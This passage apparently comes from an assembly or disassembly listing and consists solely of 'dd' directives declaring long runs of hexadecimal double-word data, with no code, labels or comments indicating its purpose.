		dd 5EEB9648h, 0D98205E8h, 40B0026Eh, 0E8E55DF5h, 619C55F0h
		dd 8B08C250h, 0E09FB805h, 10B2545Bh, 466E3EC1h,	9621BFCFh
		dd 6C0B6906h, 1B86F35h,	8DB34BA3h, 10F82490h, 40121CB0h
		dd 6C9EAB4Eh, 4C2EF902h, 0FC41554Ah, 1338B85Fh,	4C9BDC17h
		dd 0C9DA6B01h, 2043EE99h
		dd 7E0F94DCh, 0AEAF05ECh, 245B8AD1h, 1306D4Bh, 95BA6F6h
		dd 0D5B8809Bh, 25EC8071h, 0B48DDFFh, 5C3CC0F8h,	7118D87Ch
		dd 0B588E83Fh, 7F620AF3h, 607CBBC0h, 407EFFACh,	3C11AE62h
		dd 1303301Ah, 0ADC0C893h, 263C4214h, 2DF058C9h,	905B8BEh
		dd 402BBB17h, 0A275AC02h, 684BCC0h, 0C66F93CDh,	552560E4h
		dd 0A560BC03h, 81DC022Ch, 0F0F005B6h, 80B39528h, 0AC2070D0h
		dd 857D0423h, 81298049h, 65E804h, 275CD8FDh, 708578FFh
		dd 324DF67h, 841B483Fh,	0F5C817E5h, 0DF5402BAh,	444FA98Eh
		dd 3115C407h, 7C813BB4h, 0D068F2D5h, 78D77713h,	761C3328h
		dd 82E77737h, 6140550Ch, 0B8A3C34Ch, 0FBC6080h,	342A5B8Ch
		dd 0D0B8E854h, 70DD802Bh, 0E4D0874Eh, 0F60A380h, 0E22B1375h
		dd 0D7980B7Fh, 0B80FB03Ch, 417CD3E2h, 0B93E362h, 433DF02Bh
		dd 0A21DFA74h, 0CFC035D2h, 0FFE3A15Ah, 825604B4h, 0EE9ED8A5h
		dd 0E069E983h, 18FD7D73h, 80102FBh, 4C52D162h, 2670801Ch
		dd 7C2C75F4h, 0D353037Dh, 6742D789h, 0DB227014h, 0F57DB01Ch
		dd 0BA430A7h, 0E6C533A8h, 54E2FB1Dh, 2F8A08F1h,	10031C4Ah
		dd 635ECC3Dh, 53137000h, 0BF42FE1Eh, 0F38CCE8h,	0BD7F82F0h
		dd 92D1038Fh, 810C93DAh, 48F9F0F3h, 78315691h, 5B15B983h
		dd 0F05EE0E9h, 0ED7FEFD3h, 694FC20Eh, 47AE85FEh, 7237C68h
		dd 0A9BAF052h, 85B3C0C4h, 7FAFE21h, 829FE247h, 14AF2C5h
		dd 6ACBECA0h, 72302FDh,	4397C0E2h, 4402BCA0h, 0F873E709h
		dd 38D0850Dh, 98E69C4Ah, 7C90A20Ah, 2B7020D9h, 66FB280Dh
		dd 0B81860F4h, 0D70A9F42h, 0DEDC2215h, 0CC4BA07Ch, 6D2E1443h
		dd 571FF863h, 9491FEEAh, 8CD5E031h, 0C1C0606Bh,	0FE680413h
		dd 7CB00268h, 7AC810D1h, 14F388B9h, 2215D67Fh, 0A074FA5Eh
		dd 14717775h, 0F0C7AE0Fh, 0C5D0861Fh, 68EB9302h, 3018B170h
		dd 0B339F93Ch, 6BD340CAh, 0E2FEF207h, 0A244F736h, 7868C484h
		dd 0AA0F05D7h, 96B0DCAh, 30015CF4h, 216430A2h, 1A952114h
		dd 0AB8C037Ch, 8F7DF4ADh, 3E9973C0h, 0DD6211FEh, 70EEE1DEh
		dd 0F3F16Ah, 0F41553D0h, 4445B0C5h, 12E87C68h, 42F375ABh
		dd 6935330Ch, 0E49FBE04h, 2E4E9B01h, 16B0801h, 1002F2DAh
		dd 0F1829C81h, 3745AE1h, 791B9C64h, 0F3B01BBAh,	394640D5h
		dd 60EA8174h, 90509050h, 904308D3h, 0E1C53128h,	98F57908h
		dd 0C210C688h, 18406345h, 22E05F55h, 8C55844h, 0EC09FA25h
		dd 423C875Bh, 0E394D50Eh, 0A444A895h, 0B378C676h, 14FA58B7h
		dd 45A3B4A3h, 4DC28805h, 9C6CD786h, 63ED0989h, 0D481C03Fh
		dd 0FCD44B93h, 0BCA33462h, 848FBBA2h, 82C80B0Ch, 0C071EC31h
		dd 8982746h, 0D4A278F7h, 83B0E057h, 0FAB189B7h,	9A7301B0h
		dd 84E84112h, 6B05E18h,	9E4338C8h, 35318E9h, 1E14904Fh
		dd 5D3478C6h, 15DA2B88h, 2563CE98h, 0E91B2F38h,	0EF488533h
		dd 0C2100289h, 7B94BE9Eh, 49C97788h, 83193072h,	5BE8B81Dh
		dd 5F60037Ch, 0A096277h, 1AA4F338h, 42750DCCh, 0D48EF2C8h
		dd 54236589h, 1024FB8Fh, 1E3ED46Ch, 788C7BC8h, 803009EBh
		dd 9F7C57B8h, 76ABF81Fh, 53561803h, 9EA3E18Ah, 3E0FD8F0h
		dd 4A1E82A6h, 0D6580749h, 0DDB880ADh, 380F8A57h, 8ED5FAh
		dd 988132DFh, 10DC609Ch, 3DCB697Ah, 0F51AE300h,	0AB4395CDh
		dd 21670377h, 57A1CF24h, 9CD949E0h, 7A7568C6h, 91766688h
		dd 381908BFh, 7C7841EBh, 70220BCh, 18988AC6h, 29F19E0Fh
		dd 0D88CA908h, 0A4407CDCh, 206409CCh, 0F99879B8h, 8090A8CCh
		dd 8A6D5868h, 64D93878h, 318F883h, 32F182ACh, 23389845h
		dd 0A360F810h, 40C3A184h, 0D4784887h, 7162C38Eh, 85EC081Eh
		dd 6A905807h, 848918C1h, 84741894h, 0F24276F0h,	5B10071Fh
		dd 0A0A7290Ah, 0CD065806h, 7E1E02E0h, 68D3388Eh, 0E7032094h
		dd 836FF839h, 789E05Ch,	0D88E0C7Fh, 7AB89812h, 7B78A0C2h
		dd 0E020945Eh, 1DF21416h, 6914C44Bh, 780CEC2Ch,	0E6C8804Fh
		dd 4C1588DDh, 0D3E515B4h, 0EAFCE0ECh, 0C6F97DBBh, 481FC990h
		dd 0DC9EF815h, 0B7C3A164h, 809AECC4h, 0B4A00EA9h, 0DC578BD8h
		dd 0A1450060h, 0D59F0CC9h, 0B69200CAh, 116ECEA0h, 1B9E0A07h
		dd 6000561Dh, 0D5ACE306h, 6E902A8Fh, 0E6FD1E1Ch, 31C0FB58h
		dd 6E742088h, 1C14084Eh, 7E530B0h, 0D1805F78h, 61DC0D7Fh
		dd 7E09AFC5h, 29E036E0h, 4F20E2FFh, 7BCC10E0h, 0F1F8D834h
		dd 60325300h, 6707FE20h, 0A5ECE6A0h, 3E23011Ch,	0FB4E17CDh
		dd 8AD491E0h, 0D345100Dh, 0C7D87051h, 74B8E260h, 0BD800EF1h
		dd 818A63D8h, 0E7C005D6h, 5B887807h, 6D44F00Ch,	0F0B1606Bh
		dd 65130ABAh, 0F38807D2h, 16F61EC0h, 51384D60h,	2913BCADh
		dd 60842805h, 0DDBA37A7h, 0D3915900h, 23226213h, 3F63F825h
		dd 5700312Bh, 0F652B9B1h, 53740DCCh, 0ADD7C10Eh, 0AE1A4076h
		dd 0A604096h, 0E458CD79h, 0EA474028h, 2D3E6C72h, 1A03012Ch
		dd 0CD96AD64h, 0DF563884h, 0E36C3876h, 9015C0F4h, 782300BEh
		dd 0BD97B8A9h, 0D31F2CB4h, 0F703AC49h, 0E0BAFD4Eh, 0E01B95h
		dd 0A0E2CB11h, 0AD68B437h, 1ED75601h, 9A811926h, 60D9F9D0h
		dd 0CACF80DBh, 0D33A16AAh, 0AB763B36h, 1D406474h, 60D2CFB3h
		dd 3EC39016h, 331E21E7h, 7703A6FAh, 0A1A4CBC5h,	57E0AD9Bh
		dd 2CAF0A4Eh, 24A04B53h, 52B30308h, 6814A196h, 0B07CE8D6h
		dd 7696C7D8h, 1D2B7C02h, 6C1CDE3h, 8BE1397h, 17F85B63h
		dd 0B708188Dh, 0B1B36848h, 37BDCF00h, 0D36F974Ah, 530C0874h
		dd 7D78C716h, 47962AD3h, 48307B0h, 7CB7BDCBh, 9F3C22B1h
		dd 50C501B8h, 749C97A4h, 4C01D85Eh, 935D57D3h, 3AA3F022h
		dd 0D7BDF018h, 0AEB3749h, 0A1B6ADA6h, 0A94EF8B4h, 4D48C8E4h
		dd 52431440h, 849714A8h, 4AD91AE0h, 0FAA036D8h,	0F8803EC5h
		dd 85638867h, 0DECC0221h, 88B6AEADh, 0C0C24B06h, 1078247Eh
		dd 15A66F03h, 0A07CAA11h, 205DA596h, 23156A6Eh,	0A070AA3Ch
		dd 209748E7h, 0C31C230Dh, 5384F621h, 0C9EA2DBh,	81511306h
		dd 0E30469D5h, 0B321E684h, 6C685F84h, 0E8170A49h, 80F48234h
		dd 77B87D1Bh, 0BA7E3092h, 0E5985206h, 1083251h,	0AEA3B491h
		dd 891AEBB6h, 0DDF690h,	53066AF4h, 825C3196h, 41959A18h
		dd 0F0CADCC4h, 0A966E856h, 0F0209038h, 0AA390604h, 1088B3F6h
		dd 768D7F50h, 4024164Ch, 0DDF13ACBh, 6012DB31h,	0CC1E6580h
		dd 123E425Eh, 0E00A3F5Ch, 0D0F8C04Ch, 8C8239B8h, 0DF31A3C0h
		dd 0D967205Dh, 60548820h, 633EE805h, 0DB4D36ADh, 0D4092B00h
		dd 6695DFE1h, 589E47FDh, 0BDD24143h, 300A9D77h,	3E481B38h
		dd 0DCF42870h, 0A574F67Fh, 0CE4E3618h, 7CA15408h, 48023AADh
		dd 0A3ACD60Ah, 0F936F0F0h, 835066E4h, 0B43363D4h, 8540B831h
		dd 7F27F078h, 0EAE31286h, 2D5C0C28h, 38D137A0h,	6C89E09Ch
		dd 23B644C0h, 2C5A4626h, 8C1BEF0Ah, 6C0694C1h, 92FFD140h
		dd 0CEFA0307h, 47D045BEh, 2CCA39E0h, 62ED7100h,	3B2D73A3h
		dd 4C6607C3h, 406522DDh, 43B29824h, 0F40324ACh,	0E017EA3Eh
		dd 0D859E04Eh, 27B09Fh,	2D7150B5h, 8C65CCB4h, 0DD200B52h
		dd 0E6F00E01h, 0F9F04BDCh, 0B03F834Fh, 234D01F1h, 13CC653Dh
		dd 777204Bh, 7F445BBFh,	7119C14Dh, 732DF8FBh, 802C0D80h
		dd 82438C0Ch, 85ECE8Eh,	193A7AB9h, 9C789ED2h, 1F6DC086h
		dd 7261082Dh, 0A0878D50h, 0CF128841h, 0B028C5Eh, 0EDCC97EAh
		dd 0ECD9B081h, 306DF89Bh
		dd 0D71520Dh, 0E0D060B2h, 0EADF053h, 0AC99DAF8h, 8FEC0858h
		dd 600D68DDh, 0C404C0CAh, 0FA39A478h, 95A83159h, 52C679C8h
		dd 0A0BE2CA4h, 15A3110Ch, 379939B3h, 5598280Bh,	419C79CBh
		dd 50516269h, 29FA39BCh, 3E8038C9h, 0FB200418h,	45DBA7D1h
		dd 6C68C589h, 773314BDh, 0EC0008AAh, 44E227A6h,	530F5E2Ah
		dd 6066C604h, 4C615DBFh, 15407469h, 7C91C02Ch, 34E00EA2h
		dd 4C48EDACh, 0C9D31D3Ch, 9C8C0D0Ah, 1022D09h, 9854CD04h
		dd 5FB0892h, 1D09ED00h,	0E82314E0h, 60EE8D0Ch, 9F1E1430h
		dd 0C11DCD73h, 0BAB46D00h, 60BD672Eh, 972928A5h, 0AF3A8C66h
		dd 4AC0A96h, 0FE14F0C7h, 0CD3C7CD0h, 0B87E7C8Fh, 2F312CF8h
		dd 0ABC2C0AAh, 974B088Ch, 8C49928h, 4080232Ch, 0A7C4AF6Ch
		dd 0B2D9C0A0h, 0BC48AF7Bh, 0BE3750B8h, 4089A400h, 78D7103h
		dd 504DE81Ch, 24ECA860h, 0F0049131h, 0A50171BFh, 69AE66D0h
		dd 0B882EF39h, 982F5C0Ch, 97061C9Eh, 0BD61D9CAh, 53593E88h
		dd 0F44C988Dh, 38DC1B38h, 0BB469E5Fh, 0A92B4410h, 7A72E080h
		dd 0AA4DDFCDh, 0C7221510h, 549624B8h, 181991F0h, 68710DDEh
		dd 68AD5AB9h, 0A4C20981h, 6C20E772h, 2E5032D9h,	444F3330h
		dd 971EA587h, 7985C87Ah, 0EC04A211h, 40789130h,	0EADED70Ch
		dd 3999A072h, 49F5D61Ah, 1D26C0B7h, 710C06BCh, 584C10ABh
		dd 56C0EE8h, 8C2C8161h,	0BAE398B7h, 0C84BC91h, 0EC27813Eh
		dd 0F3203969h, 0C3A49DAh, 0C0BD46F1h, 0AF0A529Fh, 0BCCE5969h
		dd 887C3834h, 0BAD908BDh, 0A626D38Ah, 3A68C118h, 0D5A8DEA3h
		dd 3BE18C96h, 0EE67D0C0h, 1924BC98h, 0AD056CD8h, 7468C58Ah
		dd 30EDF019h, 0B978D9CEh, 0A439BFF9h, 1E1A3AA9h, 6F007B09h
		dd 73A0CAEDh, 0F431484Dh, 3B02D12h, 0ADCD2C78h,	0B8F19828h
		dd 0F0A06C12h, 0A18BF004h, 0CD30EC81h, 4AF31096h, 0CC47BACh
		dd 6C0809CCh, 20D9FD20h, 0E320C048h, 95625190h,	582755F1h
		dd 0E8841C0h, 7490A85Fh, 0ECEDD924h, 3C052905h,	1861B878h
		dd 0F9023EE6h, 9800379h, 0B490571Fh, 0C82B429Fh, 2468DAF1h
		dd 6F261B93h, 4980282Dh, 0CD711FEFh, 1280987Bh,	4C0D5EDh
		dd 1F3DD61Ch, 0A0683C15h, 494FD596h, 390920A8h,	0AC8F9DCCh
		dd 3C3C22E9h, 67ECF926h, 3C4C5412h, 0A9FB39AEh,	70317188h
		dd 0C20DCE1h, 74DF4CEDh, 38238C0Ah, 22C70A94h, 0A188F098h
		dd 629FE313h, 1EF97802h, 9D10C120h, 0C4DC7477h,	0D02FFDB9h
		dd 0CBA41994h, 0D00280AFh, 21B570AEh, 60CFFCB9h, 0BC933C50h
		dd 3E5C9FE0h, 68656263h, 0D842FED9h, 28C01862h,	0CD633AACh
		dd 1A40D78h, 614FB8B0h,	20DCF3CCh, 104C5638h, 0A0D452C0h
		dd 30AFBBC4h, 79686430h, 6C14010Ah, 12B44C4Dh, 900333C9h
		dd 0A0C699ADh, 0F870C80Dh, 0C7AB24E9h, 2B341FA0h, 3C93E198h
		dd 99C9925Eh, 0A47CE011h, 0CE3B74CAh, 0A25D2A89h, 0A07B8826h
		dd 737FED02h, 4FCFCD6Fh, 28A3A8h, 48A0287Ch, 9E00DFC3h
		dd 5E9F3FC0h, 0CA7D6A73h, 0DB286838h, 6E159074h, 920DE7Ch
		dd 0E2D3193h, 2EB56194h, 9821F527h, 66F30E87h, 0C1AF940Ch
		dd 968E311Ch, 0C7D3960h, 0ABC0A884h, 433362C9h,	0AE682E25h
		dd 779C8940h, 0D87A7C00h, 3C1F2FF2h, 5D3D99D7h,	0B4D31D4Ch
		dd 5E6B0C87h, 593E85AFh, 0D59E6881h, 59E0E420h,	0F0E6D429h
		dd 14679A21h, 5909E446h, 885FA15h, 4790C0A3h, 88983A1Dh
		dd 9838CE31h, 44203BC8h, 0EDBC1E84h, 0B41DD2Fh,	401A56Fh
		dd 1CA054Ch, 0F470BBC9h, 908CA091h, 0A453AD9h, 48D11Dh
		dd 78C37D0h, 5B7CF370h,	551F5018h, 78885220h, 1B4A780Ch
		dd 107B700Fh, 8C6233E1h, 10F41918h, 48EA6367h, 4000E58Dh
		dd 4458399Fh, 0BC9C1Eh,	7B740B95h, 42E7CF1Dh, 0D559EE00h
		dd 655BC404h, 487118BBh, 568A28F0h, 580F340Eh, 0DBD063EDh
		dd 0C310BBBAh, 8E1001B4h, 8C7098C3h, 61F0D0D5h,	0EC785E63h
		dd 0E5200153h, 6E300CFFh, 0BF888C73h, 781B204Ah, 8EF037E1h
		dd 8BC843C0h, 5476B819h, 0E0BA4E38h, 38EF5918h,	10E85AA1h
		dd 0CF5B106h, 19E8FBB0h, 18E73F70h, 2704B2Dh, 0C8D84D75h
		dd 15513066h, 2F3334E4h, 0E6B0D0D9h, 587014C0h,	0D719B459h
		dd 84688040h, 0E7B910B0h, 10206006h, 0B0C489EAh, 2A0D5BB8h
		dd 63CDE0A8h, 0E42518C6h, 3E412BE8h, 0F2C242BCh, 0E75FB138h
		dd 99979098h, 40CCC702h, 43905028h, 0E0E8D847h,	0DACA2113h
		dd 0E9E69186h, 0D8C85048h, 0A0785090h, 0CC14870h, 0F047B2ACh
		dd 4F51F109h, 80F23C04h, 125EF04Ch, 0B041C0A5h,	0D1183207h
		dd 0F0488761h, 98874D80h, 839B30A9h, 58184567h,	8EF0EE33h
		dd 2860CDECh, 6384410h,	0C8B6F0B4h, 8A53030h, 0A5125A50h
		dd 0C3F241B8h, 2931185Fh, 50ACEDEEh, 132037C0h,	643603D4h
		dd 0C95111BBh, 8C3E2824h, 6A9B008h, 50586970h, 1A50A63Eh
		dd 8A087430h, 5490D8A6h, 0B8E0617Eh, 4A40CA90h,	0BADA82C4h
		dd 71812C5Fh, 631024FFh, 0ABF0A0A0h, 0AD3AB092h, 40702441h
		dd 6050CC21h, 2C6652C9h, 0C05A5114h, 2B287012h,	0BD721F60h
		dd 0B10C20A9h, 4830E816h, 500A8C40h, 54B0E1AEh,	0CCEDC808h
		dd 0F79163DAh, 0B710D019h, 38258E49h, 0AAE16822h, 0F1985CBEh
		dd 0B0BCDE50h, 78D2902h, 7137DF0h, 0F1944A75h, 0A4DBE070h
		dd 0D1481A62h, 0AB610E50h, 0DAB007B2h, 0AAD0E081h, 1F985EE1h
		dd 52042822h, 3C836AACh, 50300AB3h, 0F390E5F7h,	68544CB8h
		dd 2DD17162h, 8C404192h, 7061845Fh, 4833BB30h, 0FD41711Ch
		dd 7061780Fh, 1859F004h, 0E42F2B51h, 81E5CF70h,	0A61C4372h
		dd 0A2B897E8h, 7A0037ECh, 0BFA14CA3h, 3AD88933h, 900E2931h
		dd 9EBD325Ah, 6809004Eh, 0D67DC77Ah, 0CCA3DF01h, 54E637DDh
		dd 0CB2CC4h, 2B973AE9h,	0A6D1C7FDh, 0D39AC80Fh,	0EB8DCA3h
		dd 0C7E7A929h, 0E9F3C932h, 20E2A133h, 9669C2F3h, 0BCA042Ch
		dd 6010B06Fh, 0D3ABE328h, 32E20128h, 8F480949h,	34E7FA8h
		dd 2027FFA9h, 4918E470h, 0C468235Dh, 0CF08DD4Ch, 4A862AEFh
		dd 0E66DE4Dh, 8F90E908h, 0E3631D74h, 0AAEB0881h, 0F7E56CA3h
		dd 18A7808Ah, 104A08A0h, 69083A18h, 101762F0h, 8083B662h
		dd 49F947C0h, 7C610CC7h, 15C60014h, 0DD4AB27Eh,	0A600253Bh
		dd 90FEE5D9h, 6EDB05Ch,	7754606Dh, 153C0863h, 8B41840h
		dd 6EA1410h, 5B7461D8h,	0FEEC08DEh, 1A20F4F8h, 513B02FFh
		dd 36B2B45Fh, 0D011F600h, 80D90391h, 0A5CD1F5h,	1EFE101Fh
		dd 0A61F6F24h, 0FF57B100h, 7499F1CFh, 0ADD133F8h, 0FDC29108h
		dd 1F9A04h, 0F1D01FDCh,	11E8208Fh, 7110C661h, 51F0D614h
		dd 20F063C0h, 6835D91Bh, 9C0C10BEh, 0FD3D60F5h,	2F52288Ch
		dd 31408058h, 0B7F2400Fh, 2502A63h, 0CDB1E10Ch,	0B431A1F7h
		dd 36110884h, 0D354060Dh, 0D5823A60h, 27E2310Ch, 9CD2068h
		dd 42F158A9h, 29B5118Ch, 8C3C260h, 730EB451h, 0B178C380h
		dd 50372B81h, 0EAC6807Ch, 890D820h, 4363D411h, 0A149FA98h
		dd 8041ABD1h, 98C96B1h,	71184A8Eh, 0BE1120C0h, 151CF10h
		dd 67B45AE3h, 2360428Eh, 0EF080200h, 20230622h,	0D05C7625h
		dd 7034DA40h, 1B08C38Ah, 5789D1EFh, 29608C1Ch, 4007B801h
		dd 51802E2Bh, 71E8C2BFh, 88862533h, 0F120086Eh,	4C112244h
		dd 51E0C661h, 28952C8Eh, 8B28B491h, 0B27128ACh,	0F0F128B4h
		dd 0DC41FEACh, 0D108F159h, 0E111BF5Fh, 3104F138h, 0D1012D02h
		dd 9847114Fh, 7C295DF5h
		dd 1BE57C42h, 0BD70F909h, 1A780662h, 835124F0h,	0A6358C58h
		dd 2165A508h, 0E01DBF90h, 0EDEC250Fh, 7CF3D9B1h, 900561F9h
		dd 1F6EE51h, 0C05A5D0Dh, 0CF055A11h, 435C990h, 0B8812EA4h
		dd 29F462D4h, 88446374h, 985065F1h, 0A4A142A0h,	71702064h
		dd 48F7DB20h, 0D112847Fh, 0D2284DECh, 8830A388h, 3849A562h
		dd 37486230h, 88E928FCh, 11263112h, 0AA14282Ah,	50CF2446h
		dd 0CA8D28Ah, 9C88FBC1h, 9824F356h, 8E478D90h, 0D480F077h
		dd 0F5A7097Fh, 0E8015E71h, 1D9E4D1h, 0FC4328BCh, 910812A5h
		dd 0B8101A30h, 0D81D08BEh, 868734Bh, 901E3177h,	84E8DA61h
		dd 20F6DE2Bh, 3DB0E40h,	30636BF2h, 69F75805h, 0BF381870h
		dd 9112F701h, 105C7975h, 0C0D840A3h, 7987E230h,	24D8EA4Dh
		dd 0B6F834C7h, 0B80C18CAh, 0EBD030BCh, 0E088F653h, 325241D7h
		dd 0BA719E83h, 35E7008h, 145B838Eh, 82985DEh, 4A308D3h
		dd 4128E240h, 0B4FF00B9h, 2A98137Eh, 5F605D64h,	7808BB21h
		dd 0FDF70127h, 6F573682h, 11F9D084h, 0B689180h,	0AF7F097Ch
		dd 0FAA11380h, 54605B3Eh, 0E434A541h, 1527794h,	0D1925AA8h
		dd 10DAB7E8h, 1F386E9h,	646B73A5h, 0ED2D9FD9h, 140505Ah
		dd 0F7231E78h, 3D311F5h, 5B7B25A2h, 8267A1ECh, 7A06D880h
		dd 0CC0D5264h, 6B0B6E00h, 7E8C7323h, 0F0252C7Ch, 2CEF0461h
		dd 6804C6EDh, 1D30F800h, 0B81892A0h, 0CC4A007Ah, 0B0388951h
		dd 9739B5C5h, 43C30FD1h, 9F2818h, 2A242B4h, 0D407546Bh
		dd 0D9A4A8FDh, 80C35642h, 9CC90EB0h, 72100ECh, 3162CFDEh
		dd 0A60187A3h, 4B85F304h, 0E3C4B958h, 72B4007Ah, 7DCF8FB3h
		dd 0F20AF646h, 0D4E99851h, 5DC2F39Fh, 9320C399h, 95601740h
		dd 0FC5D0ABDh, 0E8450840h, 9CD4003Bh, 24B1CD88h, 303C396Dh
		dd 0FAE28A0Ch, 0DE68EE2Ah, 46562CD9h, 0C51E0049h, 8353EF98h
		dd 6E410CF3h, 5B50C3C2h, 0AC5CDB2Ah, 5102257Ah,	0CF0672B7h
		dd 0B86D40D7h, 2180E364h, 66517AD3h, 3F006F1Dh,	31AF1E96h
		dd 0BF4B84h, 0A86597EBh, 7F0F60C4h, 1A9B7000h, 4ACC05BEh
		dd 0FC034F5Ah, 0E6D40717h, 404FDF87h, 6C085EEAh, 2540C318h
		dd 8BD3CF1Bh, 770010A6h, 0E4E2A442h, 6365EEB4h,	1C8F09FBh
		dd 48572000h, 0F26729A4h, 97E90012h, 0A26CC41Ah, 8601B66Dh
		dd 42103563h, 0A180FD90h, 52BA0BAh, 88003DD1h, 2EF5D48Dh
		dd 41838Bh, 6AB197EAh, 0A204802Ah, 48E26B00h, 0C3596E0Ah
		dd 8D020CA0h, 1A48B8F3h, 73BF5F00h, 0EDB5E3BCh,	250A3E8Fh
		dd 1A9240F4h, 731F5100h, 58474117h, 3771F5Ch, 49883086h
		dd 8B001690h, 0C131539h, 3E4D7324h, 0B78F98DEh,	91AE966Dh
		dd 0C50DEC60h, 567B4FB3h, 0ED9F1703h, 71F15Eh, 2073E449h
		dd 7F80D86Ch, 0A8653B28h, 2600C798h, 0E8768C5Dh, 0A42201CAh
		dd 720E025Ch, 0ECBDE3E1h, 0A0501619h, 74BACAh, 0D17C3602h
		dd 0A9A661C0h, 0E6888900h, 46A2EF0Ch, 104C0026h, 0F56A8CB2h
		dd 32785447h, 2B41356h,	0CBAC2B9Fh, 87FC3165h, 2A69A821h
		dd 146661F0h, 0BD160083h, 0AC4DDF31h, 0C8C07AE9h, 0A013F432h
		dd 18040F5Bh, 99E19586h, 0A8715674h, 2D2118D9h,	7B5080DEh
		dd 55C4E57Eh, 21D86086h, 11A5D931h, 3A79710Dh, 1F0F0E0h
		dd 8C2E0060h, 0B87ABE02h, 911FC96Bh, 0D64A4CCBh, 3064A48Eh
		dd 0DB72E460h, 0ED8DE310h, 0FC80E5C8h, 0F2FD74B5h, 38E2003Ch
		dd 0A55C26CFh, 2B00A1A6h, 0C706CD77h, 0FE9F0B4Bh, 0ED799Bh
		dd 7C53A367h, 0C08F92F5h, 0B5C82000h, 0A11B2786h, 0BC74A8EBh
		dd 0E5C01DA5h, 886890A4h, 0C05D9FECh, 0E82223AEh, 0D1001E6Dh
		dd 0B405B9DBh, 56035C85h, 99A02825h, 1507D378h,	0EAEFBB28h
		dd 897E72h, 0E68F5B7Ah,	0CC0E3145h, 301A9384h, 28252B7h
		dd 3C7E2C8Ch, 0A4810E0Ch, 59EC01C9h, 0B773D4BCh, 86DE323h
		dd 0F38EAB4h, 607574BCh, 0C9FD6371h, 7B610E03h,	34C0410Fh
		dd 4B8FA655h, 0B1674500h, 0ADE53DACh, 26160046h, 7FF295F4h
		dd 0A6002132h, 0CA620114h, 1897F73Eh, 819798Dh,	4303F4E7h
		dd 6359E2A6h, 8736F05Bh, 86500B1h, 92AEA879h, 0A000CAD9h
		dd 0F4B743F3h, 0E8A62047h, 4CC10153h, 1694B041h, 8DDCF8A2h
		dd 50C00FE8h, 4CE808F4h, 0F6A50392h, 7BD53DD8h,	227447C8h
		dd 0F500BFE0h, 0CF85B54h, 152C7C2Dh, 58E9B3F4h,	20620B02h
		dd 2B30073Eh, 0B420C031h, 0BCF6394h, 0C073C200h, 12485A9Bh
		dd 43020AE8h, 8054F755h, 19D6625Fh, 20867CA4h, 6F2214Bh
		dd 812430EDh, 0B7EC1A00h, 5EC4A459h, 97C018D6h,	0AF172833h
		dd 0BE013870h, 0FF7A7FF9h, 0A8DCF864h, 23BE2F4h, 0AB50E1E9h
		dd 42D04C96h, 9297220Ah, 0A60A9CF7h, 215EC82Ah,	0FE87F69Ch
		dd 42904D60h, 338593B7h, 7350AE72h, 57040D5h, 0C13D8D4Bh
		dd 8CC52233h, 2EA9A032h, 0A0170019h, 54EFF2D9h,	0C301B056h
		dd 0E4B99429h, 20BC0EFBh, 40CEED9Ch, 0EEA0B312h, 1D00E336h
		dd 1461936Ah, 3A8019h, 96D274C3h, 26A9A464h, 7F1A0900h
		dd 62289A50h, 2B63006Eh, 7872BADBh, 0D00614Dh, 0F15199CBh
		dd 7A65800Eh, 3A1F2EEh,	287CD1D4h, 40001660h, 14CCCA79h
		dd 4CB47DAEh, 0AB3A8D02h, 0C6611030h, 5D01CCA6h, 0E7DF9329h
		dd 0E13B3AACh, 0B79DC3Eh, 7B33Dh, 784FC339h, 60A256F5h
		dd 2C37F8BEh, 610B426Fh, 8C32A463h, 0F0082Ah, 0DE192DF3h
		dd 50076F6Dh, 376C1500h, 0E19036C4h, 156EEAB4h,	0A0C34609h
		dd 7AAFBC00h, 7FE3D2EBh, 508DF21Fh, 743A2100h, 9C5907h
		dd 816180A5h, 0BFDE4F5Fh, 705C38C0h, 6E21BEh, 0C60A750Dh
		dd 87DC1CAh, 126D8E03h,	0EBE61ED1h, 37E87BC3h, 4098CB17h
		dd 64F3CEDFh, 0A9A13C14h, 5083C4E8h, 0F3F58400h, 0FF0EF77Bh
		dd 20581E2Dh, 0ADF48FD9h, 0DE8B009Ah, 44C3348Ah, 0CF005478h
		dd 25A1BDA3h, 54CC507Dh, 24123419h, 501CB0F4h, 862D1Fh
		dd 44E57337h, 8F3B1C2Bh, 26644906h, 28B819BAh, 0D3A432h
		dd 4A6ABFE1h, 8DC90554h, 30001EF8h, 4C0CD5DEh, 24BC404h
		dd 0CEA50F8Ah, 4626B6h,	0EAE3940Eh, 66B528ADh, 0D800618Ch
		dd 671CCA8h, 0D70A24h, 0E40DEBFEh, 5D7F1718h, 0CE811407h
		dd 4CD0C2E0h, 5F9A4C8h,	8C384073h, 0A8B04F2Eh, 30116Dh
		dd 0C0784DA0h, 87011493h, 8B619F6Fh, 0E4A8E818h, 700018D7h
		dd 0D672344Dh, 7B64B21Fh, 64D1522Dh, 0E33033A2h, 4920E1E8h
		dd 0BB810FB7h, 0FE4F01E4h, 90183B04h, 7B6084B4h, 79E6921Eh
		dd 0C1178941h, 0F1C48BC4h, 8CAD00BEh, 0C37653AAh, 0EAA39AD0h
		dd 93E0E3A3h, 5C906DE1h, 0C680687Ah, 8183E385h,	0C4838EAEh
		dd 6A06109Eh, 2F71A890h, 0F0F028h, 5D8756BAh, 86D576EDh
		dd 0CB6AA30Ch, 0E3E9210Eh, 5CAF8BFCh, 0A4812FCh, 9C85A0Eh
		dd 9F799CA1h, 6AA84C4Dh, 61786F08h, 0BD53C293h,	6F7B9400h
		dd 0B16902AEh, 0F9758B63h, 0C89CE080h, 91144F01h, 3A5CD59Dh
		dd 680E05ACh, 5820A290h, 8918774h, 0CB6DBD5Dh, 0EF403844h
		dd 5FEA8763h, 0A053950Fh, 432D00E3h, 14785685h,	0DE84FAD7h
		dd 0E158470Ah, 23CC80F4h, 99E6964Dh, 0D193E200h, 3A1A6748h
		dd 24123D28h, 96B7900h,	8086F23Bh, 0B42C8228h, 5E44AE04h
		dd 10C0ED67h, 0CFC3969Dh, 14809F89h, 0C2FDBB4Dh, 0A9672A00h
		dd 0F5646261h, 0E3F8950Fh, 16EAD107h, 78354270h, 0EDD8DC40h
		dd 0E8C7F5h, 58562D21h,	238452D1h, 71429000h, 99EAA339h
		dd 787B00B6h, 698595B7h
		dd 0F40FECFFh, 0FE98D7h, 3BA1F943h, 0BDF008Ah, 61C3D047h
		dd 1E00990Eh, 9CADFA1Ah, 0CD526Ah, 62C840C2h, 28875E6Ch
		dd 0A81FC405h, 1088C185h, 0ED5F006Fh, 5112A6AEh, 0D10005BBh
		dd 0E4E34F2Fh, 0C1C7206Bh, 846CAE0h, 69CF486h, 0E74D1879h
